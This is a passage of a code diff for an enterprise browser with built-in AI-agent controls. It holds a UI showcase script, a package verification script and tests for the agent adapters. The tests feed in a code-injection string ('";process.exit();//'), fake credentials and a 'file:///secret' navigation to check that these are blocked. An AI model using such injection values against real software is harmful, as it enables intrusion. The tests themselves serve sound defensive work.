path.sep)) throw Error('Unsafe showcase profile'); +app.setPath('userData', profile); +const output = path.join(root, 'artifacts'); +fs.mkdirSync(output, { recursive: true }); +const methods = ['createTab','activateTab','closeTab','groupTab','mutateBookmarks','updateSettings','authorizeSetting','state', 'windowControls', 'setChromeLayout', 'shareURL', 'enroll', 'sso', 'navigate', 'back', 'forward', 'reload', 'ai', 'inspectFile', 'agentConnection', 'toggleAI', 'toggleVault', 'vaultStatus', 'vaultCreate', 'vaultUnlock', 'vaultLock', 'vaultList', 'vaultSave', 'vaultDelete', 'vaultFill', 'vaultGenerate']; +const preload = path.join(profile, 'showcase-preload.cjs'); +fs.writeFileSync(preload, `const {contextBridge,ipcRenderer}=require('electron'); const methods=${JSON.stringify(methods)}; const api={};for(const method of methods)api[method]=(...args)=>ipcRenderer.invoke('showcase:call',method,args);api.onState=callback=>{const listener=(_event,state)=>callback(state);ipcRenderer.on('showcase:state',listener);return()=>ipcRenderer.removeListener('showcase:state',listener);};contextBridge.exposeInMainWorld('safetynet',api);`); +const fixtures = [ + { title: 'Apple Documentation', url: 'https://developer.apple.com/' }, + { title: 'GitHub', url: 'https://github.com/' }, + { title: 'MDN', url: 'https://developer.mozilla.org/' }, + { title: 'Wikipedia', url: 'https://wikipedia.org/' }, + { title: 'Company Intranet', url: 'https://intranet.example.test/' }, + { title: 'Design Library', url: 'https://design.example.test/' } +]; +let state = { ready: true, enrolled: true, brand: { name: 'SafetyNet' }, url: 'https://example.test', pageTitle: 'Reference Workspace', pageColor: '#8aacb4', canNavigate: true, policyVersion: 12, message: 'Public fixture · centrally managed workspace', aiEnabled: true, agentsEnabled: true, documentScanEnabled: true, passwordManagerEnabled: true, vaultLocked: false }; +let nextTab=1;state.tabsRevision=0;state.tabs=[{id:'showcase-native-1',url:state.url,title:state.pageTitle,color:state.pageColor,group:'',startPage:false,canGoBack:false,canGoForward:false}];state.activeTabId=state.tabs[0].id; +function snapshot(){const tab=state.tabs.find(tab=>tab.id===state.activeTabId);state={...state,url:tab.url,pageTitle:tab.title,pageColor:tab.color,tabsRevision:state.tabsRevision+1};return JSON.parse(JSON.stringify(state));} +function publish(sender){const result=snapshot();sender.send('showcase:state',result);return result;} +state.settings={available:true,visible:true,hiddenSections:[],lockedSections:[],appearance:{mode:'system',accent:'blue',tabMode:'separate'}}; +state.bookmarks={managed:[{...fixtures[4],id:'showcase-company',folder:'Company'}],personal:{revision:0,items:fixtures.filter((_,i)=>i!==4).map((item,i)=>({...item,id:`showcase-${i}`,folder:'Work'}))},allowUserAdd:true,allowUserEdit:true,allowUserDelete:true,adminReadUserBookmarks:true}; +let vaultLocked = false; +const records = [], screenshots = [], consoleErrors = []; +let window, finished = false; +function cleanup() { + if (path.resolve(profile).startsWith(path.resolve(os.tmpdir()) + path.sep) && path.basename(profile).startsWith('safetynet-ui-showcase-')) { + try { fs.rmSync(profile, { recursive: true, force: true }); } catch {} + } +} +if (!process.env.SAFETYNET_SHOWCASE_PROFILE) app.on('quit', cleanup); +const watchdog = setTimeout(() => { console.error('UI showcase exceeded 80 seconds'); app.exit(1); }, 80_000); +watchdog.unref(); +ipcMain.handle('showcase:call', (event, method, args) => { + if (event.sender !== window?.webContents || !methods.includes(method)) return { ok: false, error: 'Showcase operation refused' }; + let data = null; + const navigation=typeof args[0]==='object'?args[0]:{url:args[0],tabId:state.activeTabId}; + if(method==='navigate'&&navigation.url==='https://example.test/slow'){const id=navigation.tabId;return new Promise(resolve=>setTimeout(()=>{const tab=state.tabs.find(tab=>tab.id===id);if(tab){tab.url=navigation.url;tab.title='Delayed public fixture';tab.startPage=false;}resolve({ok:true,data:publish(event.sender)});},250));} + if (method === 'state' || ['enroll', 'sso', 'back', 'forward', 'reload'].includes(method)) data = snapshot(); + else if(method==='createTab'){const tab={id:`showcase-native-${++nextTab}`,url:'',title:'New Tab',group:args[0]?.group||'',startPage:true,color:'#b8c7dd',canGoBack:false,canGoForward:false};state.tabs.push(tab);state.activeTabId=tab.id;data=publish(event.sender);} + else if(method==='activateTab'){assert.ok(state.tabs.some(tab=>tab.id===args[0]));state.activeTabId=args[0];data=publish(event.sender);} + else if(method==='closeTab'){const index=state.tabs.findIndex(tab=>tab.id===args[0]);assert.ok(index>=0);state.tabs.splice(index,1);if(!state.tabs.length){state.tabs.push({id:`showcase-native-${++nextTab}`,url:'',title:'New Tab',group:'',startPage:true,color:'#b8c7dd',canGoBack:false,canGoForward:false});}if(state.activeTabId===args[0])state.activeTabId=state.tabs[Math.min(index,state.tabs.length-1)].id;data=publish(event.sender);} + else if(method==='groupTab'){assert.ok(state.settings.visible&&!state.settings.hiddenSections.includes('library')&&!state.settings.lockedSections.includes('library'));const tab=state.tabs.find(tab=>tab.id===args[0].id);assert.ok(tab);tab.group=args[0].group;data=publish(event.sender);} + else if(method==='mutateBookmarks'){const input=args[0];if(!state.settings.visible||state.settings.hiddenSections.includes('library')||state.settings.lockedSections.includes('library')||input.expectedRevision!==state.bookmarks.personal.revision)return {ok:false,error:'Managed bookmark refused'};assert.equal(input.action,'add');state.bookmarks.personal={revision:state.bookmarks.personal.revision+1,items:[...state.bookmarks.personal.items,input.bookmark]};data=state;event.sender.send('showcase:state',state);} + else if(method==='updateSettings'){if(!state.settings.available||!state.settings.visible||state.settings.hiddenSections.includes('appearance')||state.settings.lockedSections.includes('appearance'))return{ok:false,error:'Managed setting refused'};state.settings={...state.settings,appearance:{...args[0]}};data=state.settings;} + else if(method==='authorizeSetting'){if(!state.settings.available||!state.settings.visible||state.settings.hiddenSections.includes(args[0])||state.settings.lockedSections.includes(args[0]))return{ok:false,error:'Managed setting refused'};data={allowed:true};} + else if (method === 'navigate') { const url = new URL(navigation.url); assert.equal(url.protocol, 'https:');const tab=state.tabs.find(tab=>tab.id===navigation.tabId);assert.ok(tab);tab.url=url.href;tab.title=fixtures.find(item=>item.url===url.href)?.title||'Reference Workspace';tab.startPage=false;data=publish(event.sender); } + else if (method === 'setChromeLayout') { + const layout = args[0]; assert.ok([64, 104].includes(layout.height)); + for (const key of ['sidebarOpen', 'startPageOpen', 'overviewOpen', 'toolsOpen']) assert.equal(typeof layout[key], 'boolean'); + records.push({ method, ...layout, nativeHidden: layout.startPageOpen || layout.overviewOpen || layout.toolsOpen }); data = { applied: true }; + } else if (method === 'windowControls') { assert.ok(['minimize', 'maximize', 'close'].includes(args[0])); records.push({ method, action: args[0], nativeFlag: false }); data = { recorded: true }; } + else if (method === 'shareURL') data = { shared: true }; + else if (method === 'toggleAI' || method === 'toggleVault') { records.push({ method, open: args[0] }); data = { applied: true }; } + else if (method === 'vaultStatus') data = { enabled: true, exists: true, locked: vaultLocked, allowSaving: true, allowAutofill: true, idleLockSeconds: 300 }; + else if (method === 'vaultList') data = [{ id: 'public-fixture', origin: 'https://example.test', username: 'example-user', label: 'Public demonstration account' }]; + else if (method === 'vaultLock') { vaultLocked = true; data = { locked: true }; } + else if (method === 'vaultCreate' || method === 'vaultUnlock') { vaultLocked = false; data = { locked: false }; } + else if (method === 'vaultGenerate') data = 'PUBLIC-DEMONSTRATION-ONLY'; + else if (method === 'vaultSave' || method === 'vaultDelete' || method === 'vaultFill') data = { completed: true }; + else if (method === 'ai') data = { answer: 'Public local fixture response.' }; + else if (method === 'agentConnection') data = { address: 'http://127.0.0.1:0', credentialPath: 'Public showcase · no pairing credential' }; + return { ok: true, data }; +}); +const delay = milliseconds => new Promise(resolve => setTimeout(resolve, milliseconds)); +async function execute(source) { return window.webContents.executeJavaScript(source, true); } +async function reloadShell() { + const loaded = new Promise((resolve, reject) => { + const timer = setTimeout(() => reject(Error('Showcase shell reload timed out')), 5000); + window.webContents.once('did-finish-load', () => { clearTimeout(timer); resolve(); }); + }); + window.webContents.reload(); await loaded; await delay(100); +} +async function waitFor(source, expected) { + for (let attempt = 0; attempt < 40; attempt++) { if (await execute(source) === expected) return; await delay(70); } + assert.equal(await execute(source), expected); +} +async function click(id) { await execute(`document.getElementById(${JSON.stringify(id)}).click()`); await delay(100); } +async function appearance(theme, mode) { + await execute(`for(const [id,value] of ${JSON.stringify([['theme-mode', theme], ['tab-mode', mode]])}){const element=document.getElementById(id);element.value=value;element.dispatchEvent(new Event('change',{bubbles:true}));}`); await delay(100); +} +async function accent(value) { + await execute(`(()=>{const selector=document.getElementById('accent-mode');selector.value=${JSON.stringify(value)};selector.dispatchEvent(new Event('change',{bubbles:true}));})()`); await delay(90); +} +async function shot(name) { + console.log('Showcase capture: ' + name); + await execute('document.fonts.ready'); await delay(90); + const measurements = await execute(`(()=>{const rect=id=>{const element=document.getElementById(id),r=element.getBoundingClientRect();return{hidden:element.hidden,x:r.x,y:r.y,width:r.width,height:r.height}};const brokenImages=[...document.images].filter(image=>!image.complete||!image.naturalWidth).map(image=>image.getAttribute('src'));return{viewport:{width:innerWidth,height:innerHeight,zoom:devicePixelRatio},theme:document.documentElement.dataset.theme,effectiveTheme:document.documentElement.dataset.effectiveTheme,accent:document.documentElement.dataset.accent,tabMode:document.documentElement.dataset.tabMode,chrome:rect('chrome'),toolbar:document.querySelector('.toolbar').getBoundingClientRect().height,library:rect('library'),ai:rect('ai'),vault:rect('vault'),startPage:rect('start-page'),overview:rect('overview'),tools:rect('tools-menu'),scrollWidth:document.documentElement.scrollWidth,brokenImages,error:document.getElementById('error').textContent,passwordFieldsEmpty:[...document.querySelectorAll('input[type=password]')].every(input=>!input.value)}})()`); + assert.equal(measurements.toolbar, 64); assert.ok([64, 104].includes(measurements.chrome.height)); + assert.equal(measurements.scrollWidth, measurements.viewport.width); assert.deepEqual(measurements.brokenImages, []); assert.equal(measurements.passwordFieldsEmpty, true); assert.equal(measurements.error, ''); + if (!measurements.library.hidden) assert.equal(measurements.library.width, 240); + for (const panel of ['ai', 'vault']) if (!measurements[panel].hidden) assert.equal(measurements[panel].width, 360); + // This Windows host's native capturePage can return an earlier compositor frame. + // Exercise the existing trusted screenshot-only CDP fallback for finite fixtures. + const capturePage = window.webContents.capturePage; + let png; + try { window.webContents.capturePage = async () => { throw Error('Use finite showcase compositor fallback'); }; png = await capturePNG(window.webContents); } + finally { window.webContents.capturePage = capturePage; } + fs.writeFileSync(path.join(output, name + '.png'), png); screenshots.push({ name, ...measurements }); +} +app.whenReady().then(async () => { + window = new BrowserWindow({ width: 1320, height: 900, useContentSize: true, frame: false, show: true, backgroundColor: '#f7f8fa', webPreferences: { preload, contextIsolation: true, sandbox: true, nodeIntegration: false, zoomFactor: 1 } }); + window.webContents.setZoomFactor(1); + window.webContents.on('console-message', event => { if (event.level === 'error' || event.level >= 3) consoleErrors.push(event.message); }); + window.webContents.on('will-navigate', event => event.preventDefault()); + window.webContents.setWindowOpenHandler(() => ({ action: 'deny' })); + await window.loadFile(path.join(root, 'apps/browser/index.html')); + await execute(`localStorage.clear();localStorage.setItem('sbrowser.bookmarks',${JSON.stringify(JSON.stringify(fixtures))});localStorage.setItem('sbrowser.theme','"light"');localStorage.setItem('sbrowser.tab-mode','"separate"');localStorage.setItem('sbrowser.accent','{"toString":0}');`); + await reloadShell(); + assert.equal(await execute(`document.documentElement.dataset.accent`), 'blue'); + await appearance('auto', 'separate'); nativeTheme.themeSource = 'dark'; + await waitFor(`document.documentElement.dataset.effectiveTheme`, 'dark'); + nativeTheme.themeSource = 'light'; + await waitFor(`document.documentElement.dataset.effectiveTheme`, 'light'); + await appearance('dark', 'separate'); nativeTheme.themeSource = 'light'; await delay(90); + assert.equal(await execute(`document.body.dataset.theme`), 'dark'); + await accent('teal'); await reloadShell(); + assert.equal(await execute(`document.documentElement.dataset.accent`), 'teal'); + assert.equal(await execute(`document.documentElement.dataset.theme`), 'dark'); + assert.equal(await execute(`document.documentElement.style.getPropertyValue('--accent')`), '#007d76'); + await accent('blue'); await appearance('light', 'separate'); + // Real DOM interactions verify tabs, bookmarks, themes and overlay signaling. + await click('tools-toggle'); await click('bookmark'); + await execute(`document.getElementById('bookmark-form').requestSubmit()`); + await waitFor(`document.getElementById('bookmark-editor').open`,false); + assert.equal(state.bookmarks.managed.length+state.bookmarks.personal.items.length,7); + assert.equal(await execute(`JSON.parse(localStorage.getItem('sbrowser.bookmarks')).length`), 6,'User bookmarks must not be mutated through renderer storage'); + await click('new-tab'); await click('sidebar-toggle'); + assert.equal(await execute(`document.querySelectorAll('#favorites-grid .favorite-card').length`), 7); + await shot('sbrowser-light'); + await appearance('dark', 'compact'); await shot('sbrowser-dark'); + await click('tab-overview'); assert.equal(await execute(`document.querySelectorAll('#overview-grid .overview-card').length`), 2); await shot('sbrowser-overview'); + await click('overview-close'); await appearance('light', 'separate'); await click('tools-toggle'); await shot('sbrowser-settings'); + await appearance('dark', 'separate'); await accent('violet'); await shot('sbrowser-theme-violet'); + await appearance('light', 'separate'); await accent('blue'); + await click('passwords'); await shot('sbrowser-vault'); await click('vault-close'); + await appearance('light', 'compact'); window.setContentSize(800, 650); await delay(150); await shot('sbrowser-compact'); + await click('tools-toggle'); await click('ai-toggle'); await shot('sbrowser-compact-panels'); await click('ai-close'); + await execute(`document.getElementById('address').value='https://example.test/slow';document.getElementById('address-form').requestSubmit();`); + await click('new-tab'); await delay(300); + assert.equal(await execute(`document.querySelector('.browser-tab.active .tab-label').textContent`), 'New Tab'); + assert.equal(await execute(`document.getElementById('address').value`), ''); + assert.equal(await execute(`document.getElementById('start-page').hidden`), false); + const latestLayout=records.findLast(record=>record.method==='setChromeLayout');assert.ok(latestLayout.startPageOpen&&latestLayout.nativeHidden); + for (const overlay of ['startPageOpen', 'overviewOpen', 'toolsOpen']) assert.ok(records.some(record => record.method === 'setChromeLayout' && record[overlay] && record.nativeHidden)); + // Policy updates override stale or hostile renderer preferences immediately. + state={...state,settings:{...state.settings,lockedSections:['appearance','ai','passwords','documentScan','agents'],appearance:{mode:'dark',accent:'violet',tabMode:'compact'}}}; + window.webContents.send('showcase:state',state);await delay(120); + await execute(`localStorage.setItem('sbrowser.theme','"light"');localStorage.setItem('sbrowser.accent','"blue"');window.dispatchEvent(new StorageEvent('storage',{key:'sbrowser.theme'}));`); + assert.equal(await execute(`document.body.dataset.theme`),'dark'); + assert.equal(await execute(`document.documentElement.dataset.accent`),'violet'); + assert.equal(await execute(`['theme-mode','accent-mode','tab-mode','ai-toggle','passwords','inspect','agents'].every(id=>document.getElementById(id).disabled)`),true); + assert.equal((await execute(`window.safetynet.updateSettings({mode:'light',accent:'blue',tabMode:'separate'})`)).ok,false); + state={...state,settings:{...state.settings,lockedSections:[],hiddenSections:['appearance','ai','passwords','documentScan','agents'],visible:true}}; + window.webContents.send('showcase:state',state);await delay(100); + assert.equal(await execute(`['appearance-section','ai-toggle','sidebar','passwords','inspect','agents'].every(id=>document.getElementById(id).hidden)`),true); + state={...state,settings:{...state.settings,visible:false}};window.webContents.send('showcase:state',state);await delay(100); + assert.equal(await execute(`document.getElementById('tools-toggle').hidden&&document.getElementById('tools-menu').hidden`),true); + state={...state,settings:{...state.settings,hiddenSections:['appearance']}};window.webContents.send('showcase:state',state);await delay(100); + assert.equal(await execute(`!document.getElementById('quick-ai').hidden&&!document.getElementById('quick-ai').disabled&&document.getElementById('appearance-section').hidden`),true); + await click('quick-ai');assert.equal(await execute(`document.getElementById('ai').hidden`),false);await click('ai-close'); + await reloadShell();assert.equal(await execute(`document.getElementById('tools-toggle').hidden&&document.body.dataset.theme==='dark'`),true); + await execute(`document.getElementById('error').textContent=''`); + for (const control of ['window-minimize', 'window-maximize', 'window-close']) await click(control); + assert.equal(records.filter(record => record.method === 'windowControls').length, 3); + fs.writeFileSync(path.join(output, 'sbrowser-ui-layout.json'), JSON.stringify({ fixtureOnly: true, managedSettingsProof:{liveLocks:true,hiddenSections:true,globalHidden:true,localStorageCannotOverride:true,reloadPreservesPolicy:true,directUpdateRejected:true,globalHiddenPreservesApprovedFeatures:true},screenshots, records, consoleErrors }, null, 2)); + assert.deepEqual(consoleErrors, []); + finished = true; clearTimeout(watchdog); console.log('UI showcase passed: eight screenshots, live system themes, persisted accents, real DOM interactions and delayed-navigation regression.'); + if(window.webContents.debugger.isAttached())window.webContents.debugger.detach(); + window.destroy(); app.exit(0); +}).catch(error => { clearTimeout(watchdog); console.error(error.message); if (!finished) app.exit(1); }); +} + diff --git a/scripts/verify-package.mjs b/scripts/verify-package.mjs new file mode 100644 index 0000000..553e3b2 --- /dev/null +++ b/scripts/verify-package.mjs @@ -0,0 +1,56 @@ +import {createRequire} from 'node:module'; +import {spawn} from 'node:child_process'; +import fs from 'node:fs/promises'; +import path from 'node:path'; +import os from 'node:os'; +import assert from 'node:assert/strict'; +const require=createRequire(import.meta.url); +const {startAgentControl}=require('../apps/browser/agent-control.cjs'); +const {startInspector}=require('../apps/browser/inspection.cjs'); +const root=path.resolve('dist/win-unpacked'); +if(process.platform!=='win32')throw Error('Windows package verification requires Windows'); +const {extractFile}=require('@electron/asar'); +for(const file of ['apps/browser/policy-assignment.cjs','packages/core/policy-groups.mjs','apps/browser/tab-registry.cjs','apps/browser/agent-adapters.cjs','apps/browser/agent-control.cjs','apps/browser/password-fill.cjs','apps/browser/diagnostics.cjs','packages/core/diagnostics.mjs','packages/core/security.mjs'])assert.deepEqual(extractFile(path.join(root,'resources/app.asar'),path.normalize(file)),await fs.readFile(file),`Packaged device/session policy source is stale: ${file}`); +for(const file of ['apps/browser/main.cjs','apps/browser/preload.cjs','apps/browser/site-preload.cjs','apps/browser/clipboard-deny.cjs','apps/browser/clipboard-guard.cjs','apps/browser/clipboard-dom.cjs','apps/browser/page-clipboard-guard.cjs','apps/browser/startup-security.cjs','apps/browser/visual-capture.cjs','apps/browser/renderer.js','apps/browser/index.html','apps/browser/style.css','packages/core/clipboard.mjs']){ + assert.deepEqual(extractFile(path.join(root,'resources/app.asar'),path.normalize(file)),await fs.readFile(file),`Packaged source is stale: ${file}`); +} +for(const file of ['apps/browser/inspection.cjs','apps/browser/managed-settings.cjs','apps/browser/management-channel.cjs','apps/browser/enterprise-inspection.cjs','apps/browser/icap-client.cjs','apps/browser/network-posture.cjs','apps/browser/download-gate.cjs','packages/core/enterprise.mjs','packages/core/semantic.mjs','packages/core/managed-settings.mjs','packages/core/policy-channel.cjs','packages/core/policy.mjs'])assert.ok(extractFile(path.join(root,'resources/app.asar'),path.normalize(file)).equals(await fs.readFile(file)),`Packaged source is stale: ${file}`); +for(const file of ['semantic.py','engine.py','server.py','windows_containment.py','windows_appcontainer.py','sandbox_worker.py','provision_runtime_acl.py'])assert.deepEqual(await fs.readFile(path.join(root,'resources/inspector',file)),await fs.readFile(path.join('apps/inspector',file)),`Packaged inspector is stale: ${file}`); +const temporary=await fs.mkdtemp(path.join(os.tmpdir(),'safetynet-package-')); +for(const file of ['apps/browser/bookmarks.cjs','packages/core/bookmarks.mjs'])assert.ok(extractFile(path.join(root,'resources/app.asar'),path.normalize(file)).equals(await fs.readFile(file)),`Packaged bookmark source is stale: ${file}`); +function run(executable,args,input,timeoutMs=15000){return new Promise((resolve,reject)=>{ + const child=spawn(executable,args,{stdio:['pipe','pipe','pipe'],windowsHide:true,env:{...process.env,PYTHONDONTWRITEBYTECODE:'1'}});let output='',errors=''; + const timer=setTimeout(()=>{child.kill();reject(Error('Package verification timed out'));},timeoutMs); + child.on('error',reject);child.stdout.on('data',data=>output+=data);child.stderr.on('data',data=>errors+=data); + child.on('close',code=>{clearTimeout(timer);resolve({code,output,errors});});child.stdin.end(input); +});} +let service; +try{ + const inspectorBytecode=path.join(root,'resources/inspector/__pycache__'); + const bytecodeExists=()=>fs.stat(inspectorBytecode).then(()=>true,error=>{if(error.code==='ENOENT')return false;throw error;}); + assert.equal(await bytecodeExists(),false,'Package must start with no inspector bytecode cache'); + const packagedInspector=startInspector(path.join(root,'resources'),true); + assert.ok(packagedInspector,'Packaged inspector runtime is missing'); + try{ + const verdict=await packagedInspector.inspect(Buffer.from('Public package verification text'),{dlp:{maxBytes:1048576,rules:[],semantic:{enabled:false}}}); + assert.equal(verdict.decision,'allow','Packaged contained inspector failed'); + assert.equal(verdict.coverage.complete,true); + }finally{packagedInspector.stop();} + const semanticPath=path.join(root,'resources/semantic'); + const actual=await run(path.join(root,'resources/python/python.exe'),['-c','import sys; sys.path.insert(0,sys.argv[1]); from semantic import NativeSemanticModel; m=NativeSemanticModel(sys.argv[2],sys.argv[3]); vectors=m.text_vectors("Public information about weather forecasting."); assert len(vectors)>=1 and len(vectors[0])==768; m.close(); print("Offline packaged semantic CPU inference verified.")',path.join(root,'resources/inspector'),path.join(semanticPath,'models'),path.join(semanticPath,'searchi-gemma-worker.exe')],undefined,45000); + assert.equal(actual.code,0,'Packaged offline semantic inference failed');assert.ok(actual.output.includes('Offline packaged semantic CPU inference verified.')); + service=await startAgentControl({authorize:async()=>({allowed:true,role:'agent',scopes:['sessions:list']}),audit:async()=>{},actions:{sessions:async()=>[{id:'managed',url:'https://example.test/'}]}}); + const encrypted=await run(path.join(root,'resources/python/python.exe'),[path.join(root,'resources/inspector/dpapi.py'),'protect'],JSON.stringify({address:service.address,token:service.token})); + assert.equal(encrypted.code,0,'Packaged DPAPI failed'); + const connection=path.join(temporary,'connection.json'),request=path.join(temporary,'request.json'); + await fs.writeFile(connection,JSON.stringify({format:'windows-dpapi-v1',protectedConnection:encrypted.output})); + await fs.writeFile(request,JSON.stringify({action:'sessions'})); + const result=await run(path.join(root,'SafetyNet.exe'),[`--agent-connection=${connection}`,`--agent-action=${request}`]); + assert.equal(result.code,0,'Packaged agent helper failed');assert.equal(JSON.parse(result.output).result[0].id,'managed');assert.equal(result.output.includes(service.token),false); + assert.equal(await bytecodeExists(),false,'Cold packaged startup must not create inspector bytecode files'); + console.log('Packaged security sources, Windows-contained inspector, offline EmbeddingGemma 2 CPU inference, Windows agent helper and bundled DPAPI runtime passed.'); +}finally{ + await service?.close(); + if(!temporary.startsWith(path.join(os.tmpdir(),'safetynet-package-')))throw Error('Unexpected temporary directory'); + await fs.rm(temporary,{recursive:true,force:true}); +} diff --git a/tests/agent-adapters.test.mjs b/tests/agent-adapters.test.mjs new file mode 100644 index 0000000..5eaea7a --- /dev/null +++ b/tests/agent-adapters.test.mjs @@ -0,0 +1,174 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import vm from 'node:vm'; +import {createRequire} from 'node:module'; +import {inspect as inspectPolicy} from '../packages/core/policy.mjs'; +import {AgentsSchema} from '../packages/core/security.mjs'; +const {createAgentAdapters}=createRequire(import.meta.url)('../apps/browser/agent-adapters.cjs'); +function fixture(overrides={}) { + let url='https://work.example/',version=1,script,generation=0; + const context={ready:true,policy:{version:1,dlp:{rules:[{id:'corporate',kind:'literal'}]},agents:{enabled:true,allowSensitiveRead:false,allowedHosts:[],scopes:['sessions','read','click','type','navigate','ai']}},destinationAllowed:()=>true,webContents:{getURL:()=>url,executeJavaScript:async code=>{script=code;return {text:'Public material',completed:true};}}}; + const id='71911cdc-a390-4e73-a604-d98d05fd52a5'; + const capture=sessionId=>sessionId!==undefined && sessionId!==id?null:{...context,sessionId:id,foreground:true,policyVersion:version,token:{generation,version,url}}; + const callbacks={getContext:capture,getSessions:()=>[{id,title:'Managed session',foreground:true}],contextCurrent:token=>token.generation===generation&&token.version===version&&token.url===url,navigate:async target=>{url=target;generation++;return capture(id);},ai:async()=>({text:'Helpful answer',token:'secret'}),inspect:async()=>({decision:'allow'}),audit:async()=>{},...overrides}; + return {actions:createAgentAdapters(callbacks),context,id,setVersion:n=>version=n,setUrl:value=>{url=value;generation++;},invalidate:()=>generation++,getScript:()=>script}; +} +test('managed session metadata and outputs never include credentials',async()=>{ + const {actions,id}=fixture(); + assert.deepEqual(await actions.sessions(),[{id,title:'Managed session',foreground:true}]); + assert.deepEqual(await actions.read({}),{text:'Public material'}); + assert.deepEqual(await actions.ai({prompt:'Hello'}),{text:'Helpful answer'}); + await assert.rejects(actions.read({sessionId:'other'}),/unavailable|Unknown/); +}); +test('policy changes, navigation races and cancellation suppress read results',async()=>{ + for(const mutation of ['policy','url','abort']) { + const controller=new AbortController();const f=fixture(); + f.context.webContents.executeJavaScript=async()=>{if(mutation==='policy')f.setVersion(2);if(mutation==='url')f.setUrl('https://evil.example/');if(mutation==='abort')controller.abort();return{text:'safe'};}; + await assert.rejects(f.actions.read({}, {signal:controller.signal})); + } +}); +test('inspection blocks sensitive reads; explicit read approval never overrides secret detection',async()=>{ + const f=fixture({inspect:async()=>({decision:'block',ruleId:'corporate'})}); + await assert.rejects(f.actions.read({}),/Company policy/); + f.context.policy.agents.allowSensitiveRead=true; + assert.equal((await f.actions.read({})).text,'Public material'); + f.context.webContents.executeJavaScript=async()=>({text:'password=hunter22'}); + await assert.rejects(f.actions.read({}),/Sensitive/); +}); +test('fixed script excludes form content, hidden text and attributes',async()=>{ + const f=fixture();await f.actions.read({}); + const element=(excluded=false,hidden=false)=>({closest:selector=>selector.includes('input,textarea')&&excluded?{}:null,getAttribute:()=>null,parentElement:null,getClientRects:()=>hidden?[]:[{}]}); + const nodes=[{parentElement:element(),textContent:'Visible company text'},{parentElement:element(true),textContent:'Form secret'},{parentElement:element(false,true),textContent:'Hidden secret'}]; + let index=0; + const result=vm.runInNewContext(f.getScript(),{location:{href:'https://work.example/'},document:{body:{},createTreeWalker:()=>({nextNode:()=>nodes[index++]})},NodeFilter:{SHOW_TEXT:4},getComputedStyle:()=>({display:'block',visibility:'visible',opacity:'1'})}); + assert.equal(result.text,'Visible company text'); +}); +test('typing script rejects password targets and treats text as data',async()=>{ + const f=fixture();await f.actions.type({selector:'#prompt',text:'";process.exit();//'}); + const node={type:'password',tagName:'INPUT',parentElement:null,getAttribute:()=>null,closest:()=>null,getClientRects:()=>[{}]}; + assert.throws(()=>vm.runInNewContext(f.getScript(),{location:{href:'https://work.example/'},document:{body:{},querySelector:()=>node},getComputedStyle:()=>({display:'block',visibility:'visible',opacity:'1'})}),/sensitive/); + await assert.rejects(f.actions.type({selector:'input:has(*)',text:'x'}),/Invalid selector/); +}); +test('navigate permits managed destination change but refuses non-web schemes',async()=>{ + const f=fixture();assert.deepEqual(await f.actions.navigate({url:'https://allowed.example/'}),{completed:true}); + await assert.rejects(f.actions.navigate({url:'file:///secret'}),/Destination/); +}); +test('encoded built-in secrets and scanner failures never permit sensitive-read override',async()=>{ + for (const verdict of [{decision:'block',ruleId:'api-secret'},{decision:'block',ruleId:'uninspectable'},{decision:'block',ruleId:'size-limit'},{decision:'block',ruleId:'corporate',engine:'yara'},{decision:'block',ruleId:'corporate',malware:{decision:'block'}},{decision:'block',ruleId:'corporate',coverage:{complete:false}},{decision:'block',ruleId:'unknown'}]) { + const f=fixture({inspect:async()=>verdict});f.context.policy.agents.allowSensitiveRead=true; + f.context.webContents.executeJavaScript=async()=>({text:'sk%2D'+'a'.repeat(25)}); + await assert.rejects(f.actions.read({}),/Company policy/); + } +}); +test('real core percent-decoded credential verdict is preserved',async()=>{ + const policy={version:1,dlp:{maxBytes:10000,rules:[]},security:{content:{blockedPhrases:[]}}}; + const f=fixture({inspect:async text=>inspectPolicy(Buffer.from(text),policy)}); + f.context.policy.agents.allowSensitiveRead=true; + const text='sk%2D'+'a'.repeat(25);f.context.webContents.executeJavaScript=async()=>({text}); + assert.equal(inspectPolicy(Buffer.from(text),policy).ruleId,'api-secret'); + await assert.rejects(f.actions.read({}),/Company policy/); +}); +test('scopes and agent hosts rechecked before and after asynchronous operations',async()=>{ + const f=fixture();f.context.policy.agents.allowedHosts=['work.example']; + f.setUrl('https://other.example/');await assert.rejects(f.actions.read({}),/Agent destination/); + f.setUrl('https://work.example/');f.context.policy.agents.scopes=['sessions']; + await assert.rejects(f.actions.read({}),/Agent scope/); + f.context.policy.agents.scopes=['read']; + f.context.webContents.executeJavaScript=async()=>{f.context.policy.agents.scopes=[];return{text:'safe'};}; + await assert.rejects(f.actions.read({}),/Agent scope/); +}); +test('fixed DOM script rejects document replacement before any click side effect',async()=>{ + const f=fixture();await f.actions.click({selector:'#submit'});let selected=false; + assert.throws(()=>vm.runInNewContext(f.getScript(),{location:{href:'https://other.example/'},document:{querySelector:()=>{selected=true;}}}),/Document changed/); + assert.equal(selected,false); +}); + +test('same-URL reload, close and switch-away-and-back invalidate captured reads and AI',async()=>{ + for(const action of ['read','ai']) { + for(const race of ['reload','close','switch']) { + const f=fixture(); + const mutate=()=>{f.invalidate();if(race==='close')f.context.webContents.isDestroyed=()=>true;}; + if(action==='read')f.context.webContents.executeJavaScript=async()=>{mutate();return{text:'Public material'};}; + else { + const g=fixture({ai:async()=>{g.invalidate();if(race==='close')g.context.webContents.isDestroyed=()=>true;return{text:'Public material'};}}); + await assert.rejects(g.actions.ai({prompt:'Hello'}),/changed|unavailable/);continue; + } + await assert.rejects(f.actions.read({}),/changed|unavailable/); + } + } +}); + +test('navigation cannot complete against another native identity or changed policy',async()=>{ + for(const kind of ['identity','policy']) { + const f=fixture({navigate:async target=>{ + f.setUrl(target); + return {...f.context,sessionId:f.id,token:{},policyVersion:kind==='policy'?2:1,webContents:kind==='identity'?{}:f.context.webContents}; + }}); + await assert.rejects(f.actions.navigate({url:'https://work.example/next'}),/changed/); + } +}); + +test('inspection itself cannot outlive the captured tab generation',async()=>{ + const f=fixture({inspect:async()=>{f.invalidate();return{decision:'allow'};}}); + await assert.rejects(f.actions.read({sessionId:f.id}),/changed/); +}); + +test('session inventory and navigation work on the start page',async()=>{ + const f=fixture();f.setUrl('about:blank'); + assert.equal((await f.actions.sessions())[0].id,f.id); + assert.deepEqual(await f.actions.navigate({url:'https://work.example/'}),{completed:true}); + f.context.policy.agents.scopes=[]; + await assert.rejects(f.actions.sessions(),/unavailable/); +}); + +test('an omitted ID captures foreground once instead of following later foreground changes',async()=>{ + const f=fixture();const calls=[];let foreground=f.id; + const 